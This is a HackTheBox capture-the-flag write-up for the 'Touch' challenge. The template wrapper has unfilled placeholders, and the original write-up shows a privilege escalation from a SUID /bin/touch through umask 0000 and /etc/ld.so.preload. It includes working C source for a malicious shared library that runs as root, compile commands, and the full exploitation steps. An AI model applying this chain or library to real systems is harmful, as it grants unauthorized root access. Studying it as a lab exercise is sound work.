Touch
Touch
Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-02-19 | Status: Solved Techniques: ld_preload_hijacking, shared_library_injection, suid_exploitation, umask_manipulation
Summary
The target server on port 30678 runs socat, which provides a bash shell as user ctf (uid=1000). The flag is located at /root/flag.txt, accessible only by root. Privilege escalation is required.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260219_hackthebox_touch - Tags: linux, suid, privilege_escalation, touch, ld.so.preload, shared_library_injection, umask
- Indicators: SUID bit on /bin/touch, touch has -rwsr-sr-x permissions, flag readable only by root, socat spawns shell as unprivileged user, writable /etc possible via SUID binary
- Source:
20260219_hackthebox_touch.md
Foothold
Vulnerability / Misconfiguration
- Ld_preload_hijacking
- Shared_library_injection
- Suid_exploitation
- Umask_manipulation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- ld_preload_hijacking
- shared_library_injection
- suid_exploitation
- umask_manipulation
- Tags: linux, suid, privilege_escalation, touch, ld.so.preload, shared_library_injection, umask
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Push me, and then just touch me, till I can get my, Satisfaction!"
The target server on port 30678 runs socat, which provides a bash shell as user ctf (uid=1000). The flag is located at /root/flag.txt, accessible only by root. Privilege escalation is required.
Analysis
Reconnaissance
Upon connecting to the server, we get a shell as user ctf:
nc 154.57.164.73 30678 id # uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
The flag is not directly accessible:
cat /root/flag.txt # cat: /root/flag.txt: Permission denied ls -la /root/ # ls: cannot open directory '/root/': Permission denied
Finding SUID Binaries
find / -perm -4000 -type f 2>/dev/null
Key finding — /bin/touch has SUID+SGID bits set:
-rwsr-sr-x 1 root root ... /bin/touch
This means touch executes with root privileges, and any file created via touch will be owned by root:root.
Attack Vector: ld.so.preload
The /etc/ld.so.preload mechanism allows loading arbitrary shared libraries before all others when launching any ELF binary. If we can:
- Create the file
/etc/ld.so.preload(via SUID touch — the file will be owned by root) - Write the path to our library into it (the file must be world-writable)
- Run any SUID binary — our library will execute with root privileges
Critical point: touch creates files with permissions determined by umask. By default umask=0022, which gives 0644 (not writable by others). But if we set umask 0000, the file will be created with 0666 permissions — world-writable!
Solution
Step 1: Preparing the Malicious Library
Create evil.c with a constructor function that executes when the library is loaded:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
static void __attribute__((constructor)) init(void) {
if (geteuid() == 0) {
setgid(0);
setuid(0);
unlink("/etc/ld.so.preload");
system("cat /root/flag.txt > /tmp/flag_txt 2>&1; chmod 777 /tmp/flag_txt");
}
}
Important details:
__attribute__((constructor))— the function is called automatically when the .so is loadedgeteuid() == 0— verify we're actually in a SUID contextsetuid(0)/setgid(0)— elevate real UID/GID to rootunlink("/etc/ld.so.preload")— remove preload to avoid infinite recursion (each system() call would also load preload)- Copy the flag to
/tmp/with world-readable permissions
Step 2: Compilation
The target system is Linux x86_64. If attacking from macOS, cross-compilation via Docker is needed:
# On macOS via Docker:
docker run --rm -v $(pwd):/work -w /work gcc:latest \
gcc -shared -fPIC -o evil.so evil.c -nostartfiles
# Or on Linux directly:
gcc -shared -fPIC -o evil.c -nostartfiles -o evil.so
Step 3: Exploitation on the Target Machine
# 1. Set umask to create world-writable files
umask 0000
# 2. Create /etc/ld.so.preload via SUID touch
# File is created as root:root with 0666 permissions
touch /etc/ld.so.preload
# Verify:
ls -la /etc/ld.so.preload
# -rw-rw-rw- 1 root root 0 ... /etc/ld.so.preload
# 3. Transfer evil.so to target machine via base64
echo '<base64-encoded-evil.so>' | base64 -d > /tmp/evil.so
chmod +x /tmp/evil.so
# 4. Write the library path to ld.so.preload
echo '/tmp/evil.so' > /etc/ld.so.preload
# 5. Run SUID touch — dynamic linker loads evil.so with root privileges
touch /tmp/trigger
# 6. Read the flag
cat /tmp/flag_txt
# HTB{REDACTED}
Attack Chain (Visual)
umask 0000
↓
touch /etc/ld.so.preload ← SUID: creates file as root, 0666
↓
echo '/tmp/evil.so' > /etc/ld.so.preload ← possible because 0666
↓
touch /tmp/trigger ← SUID: linker loads evil.so as root
↓
evil.so constructor:
setuid(0) → system("cat /root/flag.txt > /tmp/flag_txt")
↓
cat /tmp/flag_txt → FLAG
Notes
- The name "Touch" and the hint "Push me, and then just touch me" are direct pointers to the attack vector:
- Push = write (push) content to
/etc/ld.so.preload - Touch = use SUID
touchto create the file and trigger the exploit - The
ld.so.preloadhijacking technique is a classic Linux privesc method umaskaffects all files created by the process, including SUID binaries — this is often overlooked- Alternative approach: instead of copying the flag, you could get a full root shell via
system("/bin/bash -p")
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR